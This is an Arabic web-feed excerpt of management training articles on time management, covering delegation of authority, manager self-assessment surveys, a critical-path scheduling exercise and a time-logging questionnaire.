    * تجنب التدخل المباشر وأعمل على احترام حرية عمل المفوض إليه .

    * اتفق مع مرؤ سك على الأولويات وعلى موعد محدد لإتمام العمل .                           

    * فوض السلطات اللازمة لإنهاء المهمة وحددها بدقة .    

    * حدد المهمة التي تريد تفويضها بدقة .  

    * تابع وراقب أداء المرؤس وتقدم العمل .

    * قدم المساعدة والتأييد للمرؤوس .

    * لا تشجع اعتماد المرؤوس الكلي عليك .

 

مبادئ استرشادية لتحسين عملية التفويض :

  • قم باختيار الفرد المناسب ..الذي تتوفر فيه القدرة والرغبة ،وأمنحه السلطة الكافية للقيام بالعمل المراد تفويضه .
  • فوض الأعمال الجيدة والأعمال غير الجيدة …فإذا قمت بتفويض الأعمال السيئة فقط فإنك تقضى على الدافعية لدى المرؤوسين ،وتقتل روح الابتكار والتطوير ،وبذلك تساهم في إثبات فشلهم وعدم مقدرتهم وليس تنميتهم وتدريبهم .
  • خذ الوقت الكافي لإعداد وتدريب مرؤسيك على إنجاز الأعمال وتحمل المسئولية .
  • قم بالتفويض تدريجيا من حيث حجم الأعمال ،أو عدد المرؤوسين .
  • اتخذ قرار التفويض مقدما ولا تنتظر لحين حدوث مشكلة فتلجأ إلى التفويض .
  • قم بتفويض السلطة للقيام بعمل ما ككل حتى يتمكن المرؤس من السيطرة على هذا العمل وتصور المهمة ككل .
  • فوض من أجل الحصول على نتائج محددة تتوقعها واشرحها للمرؤوس .
  • تجنب أي ازدواج أو تدخل في الاختصاصات .
  • تشاور قبل التفويض مع مرؤوسيك .
  • اترك بقدر الإمكان المرؤوس وحده .

  

استقصاء

مهارات التفويض الفعال

     يهدف هذا الاستقصاء إلى التعرف على آرائك بشأن عدد من المبادئ والمفاهيم الأساسية للتفويض .

     وفيما يلي مجموعة من العبارات التي تتعلق بفلسفتك تجاه عملية تفويض السلطة التي تمارسها من خلال منصبك الإداري الحالي …ضع علامة (   √  ) أمام الخانة التي تعبر عن وجهة نظرك بالنسبة لكل عبارة من عبارات الاستقصاء . 

م            العبارات دائما أحيانا أبدأ
1 أولا : طبيعة المهمة المفوضة :

من المفضل أن يعطى المرؤس المهمة التي يطلب تفويضها إليه .

      
2 العبر ليست بطبيعة المهمة المفوضة أو لمن سيتم تفويضها فالمسئولية النهائية تبقى على القائم بالتفويض .      
3 من أفضل الطرق لتجنب المشكلات ذات الحساسية في العمل هو تفويضها لأحد المرؤوسين .       
4 من الضروري إعادة النظر باستمرار في حجم ونوع المهام التي يمكن تفويضها للمرؤوسين      
5 يجب أن يكون حجم العمل الموكل للمفوض إليه محدداَ وواضحاَ .      

 

 ثانيا : خصائص المفوض إليهم :

م     العبارات دائما أحيانا أبدأ
6 من الضروري تدعيم ومساندة المفوض إليهم .      
7 أن الاستعداد النفسي والعملي للمرؤوسين أحد المعايير الهامة التي يجدر اتباعها عند التمييز بين المرؤوسين في عملية التفويض .      
8 غالبية المرؤوسين لديهم الصلاحية المناسبة والاستعداد الأولى لتولى المهام المفوضة إليهم .      
9 أن التفويض للموظفين الملتحقين بالعمل حديثا أمر ضروري وحتمي .      
10 أن المرؤوس الذي يفشل في أداء المهمة المفوضة إليه لا يستحق      

    ثالثا الإعداد للتفويض :

م           العبارات دائما أحيانا أبدأ
11 من الأفضل منح المرؤس الحرية الكاملة لتنفيذ المهمة المفوضة إليه .      
12 لتشجيع الدافع للابتكار يجب حث المرؤسين على تحقيق النتائج التي يمكن تحقيقها من وراء تنفيذ المهام المفوضة إليهم .      
13 من المعايير الأساسية في اختيار واعداد المفوض إليهم مدى إدراكهم وفهمهم للأجزاء الصعبة في المهمة المفوضة .       
14 من المفيد إخبار المرؤس بكافة تجارب النجاح والفشل لأقرائه الذين سبق وأن تم تفويض نفس المهمة لهم من قبل .       
15 يجب أن يكون واضحاَ تماما للمرؤوسين الحد الأقصى للتحرك ومدى الاتصالات التي تتم بشأن تنفيذ المهمة المفوضة إليهم .       

 

   رابعا : مساندة المفوض إليهم :

م        العبارات دائما أحيانا أبدأ
16 إن المرؤس الكفء والقادر يستطيع أداء المهمة المفوضة إليه دون إشراف مباشر من رئيسية .      
17 في المهام ذات الأهمية أو الحساسية العالية يجب إعطاء رئيس القائم بالتفويض تقارير مستمرة عن أداء المفوض إليهم .      
18 عند منح سلطات معينة للمفوض إليه يجب إبلاغ الزملاء بذلك مقدما وقبل قيامه بممارستها .      
19 من مسؤلية المفوض التأكد من توفر كافة المعلومات اللازمة للمفوض إليه حتى يتمكن من أداء المهمة المفوضة إليه أو على الأقل يخبره بكيفية الحصول عليها .      
20 من الضروري عدم تنبيه أو تحذير المرؤس من وجود بعض المعوقات أو المشاكل التي قد تعترض طريقة تنفيذه للمهمة .      

 

  خامسا  : رقابة ومتابعة المهام المفوضة :

م              العبارات دائما أحيانا أبدأ
21 إن إتباع الرقابة العامة هي أفضل وسيلة لرقابة المفوض إليهم .      
22 إن الرقابة المتزايدة أفضل بالتأكيد من الرقابة المحدودة .      
23 من الضروري أن يصبح المفوض على دراية كاملة بكل ما يدور بشأن تنفيذ المهمة المفوضة وفي مختلف مراحلها .      
24 أن الضمانة الأساسية لتجنب فشل المفوض إليه في أداء المهمة المفوضة إليه هو تدخل المفوض وقيامه بأداء المهمة حيثما يشعر بأهمية ذلك .      
25 يجب أن يشعر المفوض إليه أن رئيسه سيقدم إليه يد المساعدة عندما يحتاج إليها وسيقف بجانبه في المواقف الحرجة من تنفيذ المهمة الموكلة إليه .      

 

سادساَ :التقييم والمكافأة :

م         العبارات دائما أحياناَ أبدأ
26 ضرورة الإعلان عن مكافأة أو عقاب المفوض لهم وذلك وفقا لإنجازهم .       
27 المرؤس هو المسئول عن أدائه سلبا وإيجاباَ ،وتتسم مساءلته وفقا لنتائج عمله .      
28 يمكن التغاضي عن الفشل الذي يصيب المفوض إليه في أدائه المهمة المفوضة إليه .       
29 أن الاعتراف بإنجازات المفوض إليهم عند الانتهاء من أداء المهمة يعد أسلوبا ناجحا لتشجيعهم على أداء أفضل في المستقبل .      
30 من المهم أن يراجع المفوض ممارساته وأسلوب عمله باستمرار بما يتناسب مع الظروف المتغيرة التي طرأت على حجم مسؤولياته ،وهيكل الجماعة التي يرأسها .      

 

إستقصاء

تقييم قدراتك كمفوض

فيما يلي مجموعة من التساؤلات التي يمكن من خلال الإجابة عليها التعرف على قدراتك كمفوض :

  • ماهي أهم المسئوليات التي سوف تتركها خلفك لو إضطررت للتغيب فجأة عن مكان عملك ؟ .
م المسئوليات
   
   
   
   
   
   
   

 

  • حدد المرؤوسين المؤهلين للقيام بكل عمل من تلك الأعمال أو المسئوليات ؟ .( إذا لم يكن هناك شخص مؤهل لمسئولية معينة إترك فراغاً)
م المسئوليات الأفراد المؤهلين للقيام بها
     
     
     
     
     
     
  • ماهي أهم الواجبات التي يمكن تفويضها ولم تفوضها حتى الآن ؟ .
م الواجبات
   
   
   
   
   

 

4- ما هي دلالة الفراغات التي توجد في إجابة السؤال رقم (2) :

 (   ) تعبر عن النقص في عدد المرؤوسين .

 (   ) تعبر عن النقص في خبرات المرؤوسين .

 (   ) تعبر عن الخوف من أن تصبح شخصاً يمكن الإستغناء عنه .

 

5- ماهي الأسباب الحقيقية وراء عدم تفويضك الواجبات التي ذكرتها في إجابة السؤال رقم ( 3 )

 

الواجبات الأسباب
   
   
   
   
   
   
   
   
   

 

 *   *   *

انتهت بحمد الله المقالة الخامسة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-05/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الرابعة https://cameknowledge.camecenter.com/articles/time_management-04/ https://cameknowledge.camecenter.com/articles/time_management-04/#respond Sat, 01 Apr 2023 13:24:19 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10312 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة الرابعة تمرين: بفرض إنه توفرت لديك البيانات التالية:       النشاط الوقت المتوقع 1-2 6 2-3 5 2-4 3 2-5 3 3-7 4 4-8 2 5-6 2 5-9 5 6-8 2 7-10 8 8-10 8 9-10 9 10-11 2 11-12 3   المطلوب: رسم […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة الرابعة

تمرين:

بفرض إنه توفرت لديك البيانات التالية:

      النشاط الوقت المتوقع
1-2 6
2-3 5
2-4 3
2-5 3
3-7 4
4-8 2
5-6 2
5-9 5
6-8 2
7-10 8
8-10 8
9-10 9
10-11 2
11-12 3

 

المطلوب:

  • رسم شبكة الأعمال ؟.
  • تحديد المسار الحرج ؟.
  • حساب وقت البداية والنهاية المبكر لكل نشاط ؟.
  • تحديد وقت البداية والنهاية المتأخر لكل نشاط ؟.
  • تحديد الوقت الراكد الكلى لكل نشاط ؟.
  • تحديد الوقت الراكد الحر الأساسي لكل نشاط ؟
  • تحديد الوقت الراكد الحر لكل نشاط .

الحـــــــــل

1- الرسم

2-تحديد المسار الحرج :     وهو أطول مسار على شبكة الأعمال .

 

لتحديد المسار الحرج يتم ما يلي :

  • تحديد المسارات المختلفة الموجودة على الشبكة (كل مسار يتكون من مجموعة أنشطة متتابعة بشكل منطقي ) .
  • حساب طول كل مسار وهو يساوي مجموع أطوال الأنشطة التي يتكون منها .
  • تحديد المسار الحرج وهو أكثر المسارات طولا .

 

 

ملحوظة :

=====

إن أي تأخير في تنفيذ المسار الحرج يؤدى إلى تأخير تنفيذ المشروع ككل .

المسار الأول =(1-2،2-3،3-7،7-10،10-11،11-12)

             = 6+5+4+8+2+3= 28يوم .

المسار الثاني = 6+3+2+8+2+3= 24يوم .

المسار الثالث = 6+3+2+2+8+2+3= 26يوم .

المسار الرابع = 6+3+5+8+2+3 = 27 يوم .

إذا المسار الأول هو المسار الحرج لأنه أطول المسارات .

 

3- حساب وقت البداية والنهاية المبكر والمتأخر والوقت الفائض لكل نشاط .

النشاط الوقت المبكر الوقت المتأخر الوقت الراكد
بداية نهاية بداية نهاية
1-2 صفر 6 صفر 6 صفر
2-3 6 11 6 11 صفر
2-4 6 9 10 13 4
2-5 6 9 7 10 1
3-7 11 15 11 15 صفر
4-8 9 11 13 15 4
7-10 15 23 15 23 صفر
8-10 11 19 15 23 4
9-10 14 22 15 23 1
10-11 23 25 23 25 صفر
11-12 25 28 25 28 صفر

الوقت الراكد الكلي : هو الوقت الذي يمكن أن نؤخر به أي نشاط دون أن يتم تأخير تنفيذ المشروع ككل .

       = الوقت المتأخر للبداية  –  الوقت المبكر للبداية .

       = الوقت المتأخر للنهاية  –  الوقت المتأخر للبداية .

الوقت الراكد الحر الأساسي : هو ذلك الوقت الذي يمكن أن نؤخر به وقت البداية لنشاط معين

     = الوقت المتأخر للنهاية – ( الوقت المتأخر للبداية + وقت النشاط ) .

الوقت الراكد الحر : هو ذلك الوقت الذي يمكن أن نؤخر به وقت إنتهاء نشاط معين .

    = الوقت المبكر لنهاية النشاط  –  (الوقت المبكر للبداية + وقت المرحلة)

 

أولاً : مفهوم تفويض السلطة وأهم المزايا .

1- مفهوم عملية تفويض السلطة .

          يقصد بتفويض السلطة : ” منح سلطة من رئيس أعلى إلى مرؤوس في مستوى تنظيم أقل مع تحمل الرئيس مسئولية ما فوض ” .

والأمر الذي لا شك فيه هو أن انشغال الكثير من المديرين في التفاصيل و الأعمال الروتينية يمكن إرجاعه بشكل رئيسي إلى عدم وجود نظام فعال للتفويض يبعدهم عن الانغماس في تلك التفاصيل و يتيح لهم فرصه التفرغ لمعالجه الأمور التي لا يكون بمقدور مرءوسيهم معالجتها .

إن التفويض ليس فقط مسئولية من مسئوليات المدير وإنما يمكن إعتباره طريقة مهمة تساعده في توفير الوقت لكي يستخدمه في القيام بمهام أكثر أهمية .

إن التفويض ليس فقط مجرد تحويل المهام التي لا يرغب المدير في القيام بها ، وإنما التفويض هو أسلوب لإشراك المرؤوسين في العمل وإعطائهم الفرصة لتحدي قدراتهم والشعور بالإنجاز .

2- مزايا تفويض السلطة :

  • إعطاء الفرصة للمشرف أو المدير للتركيز على متطلبات وظيفته الأساسية .
  • زيادة فعالية العمل في الإدارة وتحقيق جودة القرار ، فقد لا يجد المدير الوقت الكافي الذي يدرس فيه موضوع القرار ، الأمر الذي يجعله لا يستطيع أن يعطى هذا القرار الاهتمام اللازم .
  • تحقيق السرعة والمرونة في العمل ، فقد يتطلب العمل في حالات معينة سرعة اتخاذ القرار بمعرفة المرؤسين .
  • إعطاء المدير الفرصة للتخطيط والرقابة والابتكار في العمل .
  • رفع الروح المعنوية للمرؤوسين .
  • تدريب وتنمية المرؤوسين .
  • تحقيق الإثراء الوظيفي للمرؤوسين من خلال منحهم سلطات أكبر الأمر الذي يزيد من أهميتهم
  • أسباب التردد في تفويض السلطة .

     توجد العديد من العوامل التي تجعل البعض يتردد في عملية التفويض  : بعضها يرجع إلى ظروف المنظمة ، والبعض الآخر يرجع إلى ظروف المنظمة ، والبعض الآخر يرجع إلى الرؤساء ،والثالث إلى المرؤوسين . ونوضح فيما يلي أهم تلك العوامل أو القيود المرتبطة بكلٍ :

أ- قيود مرجعها إلى ظروف المنظمة .     

  • إن طبيعة العمل في المنظمة لا تحتمل حدوث أخطاء أو تجاوزات .
  • رغبة الإدارة العليا في المنظمة في أن تكون الإدارة الوسطى على علم كامل بكافة تفاصيل العمليات .
  • عدم وجود سياسات وإجراءات عمل واضحة ترشد وتوجه تصرفات المديرين وغيرهم من العاملين .
  • افتقار المنظمة إلى سياسات أفراد تدعم الاهتمام بتنمية المرؤوسين .

ب-  قيود مرجعها إلى الرؤساء .

1- الخوف من وقوع المرؤوسين في أخطاء غير مقبولة يمكن أن يوجه بسببها اللوم أو النقد إلى الرؤساء أنفسهم.

2- الخوف من أن المرؤوس قد يعتقد بأن التفويض دليل عجز من جانب الرئيس وإنه أقدر من رئيسه على القيام بالعمل الذي فوض له .

3- إحساس الكثير من الرؤساء بأن الرجوع إليه في كل صغيرة و كبيرة يجعله شخص عظيم الأهمية ومن ثم فإن التوسع في التفويض سيفقده الإحساس بتلك الأهمية .

4- عدم الوعي الكافي من جانب بعض الرؤساء بمسئوليتهم تجاه تنمية المساعدين وإعدادهم لشغل مناصب أعلى .

5- اعتقاد البعض بأنه ليس هناك من هو أفضل منه للقيام بأعباء العمل .

6- ضعف ثقة الرئيس في مرؤوسيه .

7- صعوبة وضع معايير للأداء تحظى بالقبول المشترك من الطرفيين يمكن في ضوئها الحكم على مستوى كفاءة أداء المرؤوسين في المهام المنوطة إليهم .

ج- قيود مرجعها إلى المرؤوسين .

  • ضعف الرغبة في تحمل مسئوليات وأعباء إضافية .
  • افتقارهم إلى الثقة في أنفسهم .
  • انخفاض مستوى دافع النمو والتقدم لدى البعض .
  • ضعف الولاء للرئيس .
  • انخفاض مستوى مهاراتهم وافتقارهم إلى القدرة على تحمل أعباء ومسئوليات إضافية .
  • الخوف من تحمل المخاطر والميل إلى الأعمال الروتينية التي لا تحتاج إلى مهارات أو خبرات عمل جديدة . 

4- عوامل زيادة فعالية تفويض السلطة :

     بوجه عام ليست هناك درجة مثالية للتفويض حيث تتحدد تلك الدرجة وفقا للمحتوى العلمي لكل موقف . و فيما يلي مجموعة من الإرشادات التي يمكن من خلالها زيادة فعالية التفويض لتقليل الإسراف في وقت المدير وتتضمن الاستفادة من تلك الإرشادات لتحليل النواحي الآتية :-

أ- ما الذي يجب تفويضه ؟

  • ما هي المهام والواجبات التي لا يمكن أن يقوم بها غيرك ؟
  • ما هي الأعمال والواجبات التي تقوم بها الآن وبمقدور مرؤسيك القيام بها بكفاءة ؟
  • ما هي المهام والواجبات التي قد يكون بعض مرؤوسيك اكثر مهارة منك في تناولها .
  • ما هي المهام والواجبات التي تقوم بها الآن ولا يملك المرؤوسين حاليا المهارة الكافية لتناولها ولكن ينبغي تدريبهم لتنمية مهارتهم في التعامل معها .

ب- من الذي يجب أن يتم التفويض له ؟

  • ما هي الاستعدادات والقدرات المطلوبة للقيام بالواجبات التي سيتم تفويضها ؟
  • ما هو مستوى المهارة والتدريب المطلوبين في الشخص الذي سيتم التفويض له ؟
  • إلى أي مدى تدخل الواجبات التي سيتم تفويضها في نطاق إهتمامه ومدى رغبته للقيام بذلك ؟
  • إلى أي مدى يتوافر لديه الوقت للقيام بأعباء إضافية ؟

ج- كيفية التفويض ؟

  • من الذي ينبغي أن تتشاور معه قبل أن تقوم بعملية التفويض ؟
  • ما هي النتائج التي يتوقع من المفوض إليه أن يحققها ؟
  • ما هو الوقت المتوقع لتحقيق تلك النتائج ؟
  • ما هي المعلومات التى يحتاج إليها المفوض إليه لإنجاز ما هو متوقع منه ؟
  • ما هو نظام الرقابة المناسب الذي يمكن من اكتشاف العقبات والصعوبات ومدى التقدم نحو النتائج المطلوبة ؟
  • ما هي التعديلات التي ينبغي إدخالها على السياسات التنظيمية الحالية لتدعيم الأسلوب الجديد في العمل والتصرف ؟

5- كيف تحقق تفويض فعال :

 أ- حدد مقدار السلطة اللازمة للمرؤوسين .

     فعندما تزيد من المسئوليات الملقاه على عاتق المرؤوس . لا بد أن تفوض له القدر المناسب لها من السلطة . لكى يستطيع القيام بهذه المهام والمسئوليات عملا بمبدأ السلطة بقدر المسئولية .

ب- تأكد من فهم المرؤوس :-

     عندما تقوم بتفويض السلطة . لا بد أن تتأكد من فهم المرؤوس للمهام والمسئوليات الجديدة التي ستكلفه بها .ولا بد أن تعطى الوقت الكاف لمقابلة المرؤوس . وشرح الدور الجديد له .وأبعاد وحدود المسئولية الجديدة . وحدود سلطاته فيها وتحديد وتوضيح الأهداف المطلوب تحقيقها .

ج- تأكد من موافقة المرؤوس على قبول هذه المسئوليات :-

     لا بد أن يتأكد المدير من قبول المرؤوس وإقتناعه بتحمل المسئوليات والسلطات الجديدة . وقد يكون من المفيد أن يجمع المدير بين تفويض السلطة والمشاركة في إتخاذ القرارات لتحقيق الأهداف . وهذا ما يتبع في الإدارة بالأهداف .

د- تابع وراقب أداء المرؤوس :-

     يجب على المدير أن يعقد إجتماعات منتظمة مع المرؤوس . وأن يتفق معه على تقديم تقارير دورية له . كوسيلة لمتابعة أداء المرؤوس خلال قيامه بالدور الجديد له .

     ويجب أن تكون هذه المتابعة مستمرة ومتكررة في الفترة الأولى التي تعقب عملية التفويض . إلا أنه بعد أن يثبت المرؤوس كفاءة في الأداء .ويتأكد للرئيس حسن إختياره لمن قام بتفويضه .تقل درجة المتابعة وتزيد مدة الفترات التي تتم فيها .

هـ– قدم المساعدة والتأييد المعنوى للمرؤوس :-

     يجب أن يقدم الرئيس المساعدة للمرؤوس بعد تفويضه للسلطة .ويشتمل هذا التأييد على توفير الموارد والإمكانيات . والمعلومات الفنية . والنصح والتوجيه . والتدريب والتأييد المعنوى مثل ( تشجيع المرؤوس .زيادة ثقته في نفسه . الشكر والثناء ) .

     ويمكن للمدير تحديد مقدار حاجة المرؤوس للمساعدة من خلال الإجتماعات التي يعقدها معه . والتقارير التي يرفعها له . والملاحظة التي يقوم بها المدير بنفسه وخاصة في المرحلة الأولى التي تعقب التفويض .

     وعلى المدير أن يكون عنصرا مدعما للمرؤوس . وأن يبتعد على نقد المرؤوس عندما يواجه مشكلات أو عندما تبدر عنه أخطاء . إذ على المدير أن يتوقع إحتمالات حدوث بعض الأخطاء والمشكلات من قبل المرؤوس حين قيامه بدوره الجديد . كما أنه على المدير أن يلاحظ أن المرؤوس قد لا يطلب المساعدة أو قد لا يظهر إحتياجه لها خوفا من أن تبدو بصورة سيئة أمام مديره . أو أن تهتز ثقته فيه . أو تظهر عدم قدرته على أداء العمل المفوض إليه .

و- لا تشجع إعتماد المرؤوس الكلى عليك :-

     قد يحاول بعض المرؤوسين تخفيف حدة مخاوفهم من الدور الجديد .من خلال اللجوء إلى المدير لمراجعة قراراتهم قبل إصدارها . وعلى المدير عدم تشجيع هذا السلوك والعمل على تحفيز المرؤوس للتصرف بمفرده حتى لا يتحول التفويض إلى شكل دون مضمون .

6- ما يجب عدم تفويضه :

تتمثل الأشياء التي يجب عدم تفويضها في المسئوليات الإدارية التي تشتمل على ما يلي :

أ- تحديد الأهداف للقسم أو الإدارة .

ب- تنظيم وتنسيق جهود الموظفين للعمل كفريق .

ج- فحص وتحليل النتائج .

د- التحفيز والإتصالات .

هـ- تنمية مهارات العمل للمرؤوسين في اتخاذ القرارات الروتينية .

7- نموذج مقترح لمراحل وخطوات تفويض السلطة :-

المرحلة الأولى :-

      مرحلة التدريب النظرى …. ويتم من خلال :

1- إعرض عليهم بعض الموضوعات التي سبق أن إتخذت فيها قرارات . وإطلب منهم دراستها . بهدف تقييم القرارات التي إتخذت . وفي اليوم التالي – أو الموعد المحدد – إعقد معهم إجتماعات فردية لسماع تقييمهم وملاحظاتهم على هذه القرارات ثم إجمعهم بعد ذلك معا . لمناقشة التقييم والملاحظات وصولا إلى أفضلها .

2- إعرض عليهم بعض الموضوعات التي سبق أن إتخذت فيها قرارات ، مع مراعاة إخفاء القرار النهائى . وإطلب منهم قراءة الموضوع وإتخاذ القرار فيه .

المرحلة الثانية :-

مرحلة التدريب العملى …..ويتم من خلال :-

1- إطلب من أعضاء الفريق حضور الإجتماعات الرسمية التي تعقدها – كمراقبين – على أن يقوم كل منهم بسماع المناقشات التي تدور حول الموضوع . وتسجيل ملاحظاتهم والتعليق على القرار الذي تم إتخاذه في الإجتماع .

2- إطلب من أعضاء الفريق حضور الإجتماعات الرسمية التي تعقدها .على أن يقوم كل فرد منهم بكتابة القرار المناسب وتسجيله بعد سماعه للمناقشات . وذلك قبل أن يصدر المجتمعون القرار النهائى 

 

المرحلة الثالثة :-

مرحلة تفويض السلطة :-

  • إبدأ عملية تفويض بعض السلطات الخاصة بالأعمال والمهام الروتينية ، التي تحكمها لوائح وقواعد وإجراءات وسياسات محددة .
  • تابع المرؤوسين خلال التنفيذ . وقدم النصح والتوجيه لهم كلما إستلزم الأمر .وبناء على نتائج الأداء . إنتقل إلى الخطوة التالية .
  • إبداء في تفويض المزيد من السلطات الخاصة بالأعمال غير الروتينية والتي تتطلب مهارة في تفسير القواعد واللوائح .
  • كلف المرؤوس بالقيام بمهامك أثناء غيابك – لفترة محدودة – ثم يعقب ذلك تكليفه بالقيام لفترات أطول .
  • الخطوة الأخيرة … تفويض السلطة بالنسبة للأعمال التي لا تحكمها قواعد أو لوائح . وتتطلب مهارة تقديرية من القائم بها .

تمرين

مفهوم تفويض السلطة

إختر الإجابة الصحيحة مما يلي :

1-يمكن وصف المدير التالي بأنه مدير فعال :

(أ )يفوض كل سلطاته حتى يعطي الفرصة للمرؤسين للمشاركة  (  )

(ب)لا يفوض أي جزء من سلطاته لأنه لا يثق في مرؤسيه      (  )

(جـ )يفوض سلطاته بالقدر المناسب                            (  )

2- المدير الفعال يفوض :

   (أ) المهام الروتينية والقرارات المرتبطة بها                  (  )

   (ب) المسئوليات الأساسية المتعلقة بوظيفته                  (  )

   (جـ)المسئوليات الأساسية غير المحببة للمدير               (  )

3- إن مشكلة تفويض السلطة في البنك تتركز في :

   (أ) منحها أو عدم منحها                                       (  )

   (ب) علاقتها بالمسؤلية                                        (  )

   (جـ) تحديد القدر من السلطة الذي يمكن تفويضه للمرؤوسين (  )

          في مختلف المراحل التنظيمية                           (  )

 

4-يستطيع مدير الإئتمان في البنك أن يفوض :

  ( أ ) المسؤوليات الخاصة بحصرغياب وحضور منسوبى القسم  (  )

  (ب)المسؤوليات الخاصة بتحديد رغبات العملاء                  (  )

  (جـ) المسئوليات الخاصة بالتنبؤ بأسعار فائدة

        الإقراض العالمية خلال العشر سنوات القادمة .            (  )             

 *   *   *

انتهت بحمد الله المقالة الرابعة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-04/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثالثة https://cameknowledge.camecenter.com/articles/time_management-03/ https://cameknowledge.camecenter.com/articles/time_management-03/#respond Sat, 01 Apr 2023 13:15:52 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10309 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة الثالثة تسجيل وتحليل وتخطيط الوقت أولاً : تسجيل الوقت  الشروط الواجب مراعاتها في تسجيل الوقت : يجب أن يوضح المكان الذي يقضى فيه المدير كل جزء من أجزاء وقته . يجب أن يوضح الأشخاص الدين يقضى المدير معهم كل جزء من أجزاء وقته […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة الثالثة

تسجيل وتحليل وتخطيط الوقت

أولاً : تسجيل الوقت 

الشروط الواجب مراعاتها في تسجيل الوقت :

  • يجب أن يوضح المكان الذي يقضى فيه المدير كل جزء من أجزاء وقته .
  • يجب أن يوضح الأشخاص الدين يقضى المدير معهم كل جزء من أجزاء وقته ( رؤساء أو مرؤوسين أو مدير مكتب ، أو عملاء أو موردين )
  • يجب أن يوضح الشكل الذي قضى المدير فيه كل جزء من أجزاء وقته مثل : اللجان أو اجتماعات أو مناقشات أو الرد على التليفون …الخ ) .
  • يجب أن يوضح مصدر العمل الذي يقوم به المدير في كل جزء من أجزاء وقته ( أعمال مفروضة عليه من خارج المنشأة أو أعمال من داخل المنشأة)
  • يجب أن يوضح نوع العمل الذي يقوم به المدير في كل جزء من أجزاء وقته شئون مالية ، شئون فنية ، كما يجب أن يوضح فيما إذا كان العمل يتعلق بمشكلات الماضي والحاضر ،أو مشكلات وفرص المستقبل .
  • يجب الفصل بين الاتصالات العارضة ، والعمل الذي أخذ وقتاَ كبيراَ نسبياَ .

     ويفضل تسجيل الوقت لمدة أسبوع على الأقل حتى تصور النتيجة حقيقة عمل المدير .

 

استقصاء

تسجيل الوقت

المطلوب :

التكرم بتسجيل الوقت الذي تقضيه طوال اليوم في ضوء البيانات الموضحة بالجدول التالي :

 

بيان توزيع الوقت في اليوم / الأسبوع

الوقت نسبة مئوية % ملاحظات
دقيقة ساعة
– الوقت الذي قضيته في مكتبي .

– الوقت الذي قضيته في مكتب شخص آخر .

– الوقت الذي قضيته في منزلي ( للعمل )

       
– الوقت الذي قضيته بمفردي

– الوقت الذي قضيته مع شخص واحد .

– الوقت الذي قضيته مع شخص أو أكثر .

       
– الوقت الذي قضيته مع الرئيس المباشر .

– الوقت الذي قضيته مع رئيس الرئيس .

– الوقت الذي قضيته مع السكرتير .

– الوقت الذي قضيته مع المرؤوسين .

– الوقت الذي قضيته مع مرؤسي المرؤوسين

– الوقت الذي قضيته مع الزملاء .

– الوقت الذي قضيته مع أعضاء أجهزة سياسية

– الوقت الذي قضيته مع أعضاء أجهزة رقابية

– الوقت الذي قضيته مع أشخاص خارجيين .

– الوقت الذي قضيته في لجان .

– الوقت الذي قضيته في مناقشات .

– الوقت الذي قضيته في اعمال ورقية .

– الوقت الذي قضيته في التليفون .

– الوقت الذي قضيته في المرور على العاملين

– الوقت الذي قضيته في اجتماعات .

       

 

 

بيان توزيع الوقت في اليوم / الأسبوع الوقت نسبة مئوية % ملاحظات
دقيقة ساعة
– الوقت الذي قضيته في إدارة عليا .

– الوقت الذي قضيته في شئون أفراد .

– الوقت الذي قضيته في شئون مالية .

– الوقت الذي قضيته في شئون فنية .

– الوقت الذي قضيته في شئون تجارية .

– الوقت الذي قضيته في علاقات عامة .

– الوقت الذي قضيته في أشياء أخرى .

– الوقت الذي قضيته في مشكلات الماضي والحاضر

– الوقت الذي قضيته في مشكلات المستقبل والتطوير

 

        
-أقضي وقتي في مجالات أخرى هي :

–

–

        

 

ثانياً : تحليل الوقت .

بعد القيام بعملية تسجيل كيفية قضاء الوقت ، تأتي الخطوة التالية والأساسية وهي القيام بتحليل طريقة انقضائه أو استخدامه الحالية . وهذا ببساطة يعنى أهمية الاحتفاظ بسجل للوقت وذلك لمدة أسبوع على الأقل .

